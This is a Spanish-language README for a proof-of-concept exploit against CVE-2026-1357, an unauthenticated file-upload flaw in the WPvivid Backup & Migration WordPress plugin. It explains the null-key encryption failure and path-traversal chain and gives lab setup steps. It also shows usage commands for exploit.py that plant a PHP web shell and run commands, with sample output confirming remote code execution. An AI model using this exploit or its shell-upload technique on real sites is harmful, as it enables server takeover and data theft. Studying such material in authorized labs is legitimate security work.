CVE-2026-1357 — WPvivid Backup & Migration RCE

Subida de archivos arbitrarios sin autenticar → Ejecución remota de código

Resumen

El plugin WPvivid Backup & Migration (≤ 0.9.123) contiene una vulnerabilidad crítica que permite a un atacante no autenticado subir archivos PHP arbitrarios al servidor, lo que conduce a Ejecución Remota de Código (RCE).

La cadena de explotación combina dos fallos:

1. Fallo criptográfico en modo fail-open

El plugin gestiona las transferencias de copias de seguridad remotas mediante el hook wpvivid_action=send_to_site. Al descifrar la clave de sesión, openssl_private_decrypt() devuelve false para una clave RSA malformada. El plugin no comprueba este valor de retorno y pasa false al Crypt_Rijndael de phpseclib v1, que lo trata como una clave nula de 16 bytes (\x00 × 16) en modo CBC con IV nulo.

2. Path Traversal

El parámetro name de la carga JSON descifrada no está saneado. Un atacante puede usar secuencias ../ para escribir un archivo PHP fuera del directorio de copias de seguridad restringido y dentro del directorio de acceso público wp-content/uploads/.

Restricción

El wpvivid_api_token debe haberse generado en los ajustes del plugin y no debe haber expirado.

Configuración

1. Descargar el plugin vulnerable

Descarga y extrae WPvivid Backup & Migration v0.9.123 (versión vulnerable):

wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

Esto creará el directorio wpvivid-backuprestore/ que se monta en el contenedor Docker mediante docker-compose.yml.

2. Iniciar el entorno de laboratorio

docker compose up -d

3. Configurar WordPress

1. Abre http://localhost y completa la instalación de WordPress.
2. Ve a Plugins → Plugins instalados y activa WPvivid Backup & Migration.
3. Ve a WPvivid → Ajustes → Auto-Migration y haz clic en Generar para crear una clave (esto habilita la ruta de código vulnerable).

4. Instalar dependencias

pip install -r requirements.txt

Uso

# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

Ejemplo de salida (Modo comprobación)

[*] Target       : http://localhost/
[*] Mode         : Check
[*] Upload path  : ../uploads/h8xq9b3v2z1c.txt

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.

Ejemplo de salida (Modo shell)

[*] Target       : http://localhost/
[*] Mode         : Shell
[*] Upload path  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd   : id

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Referencias

• Aviso de Wordfence
• PoC original de LucasM0ntes

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Úsala de forma responsable.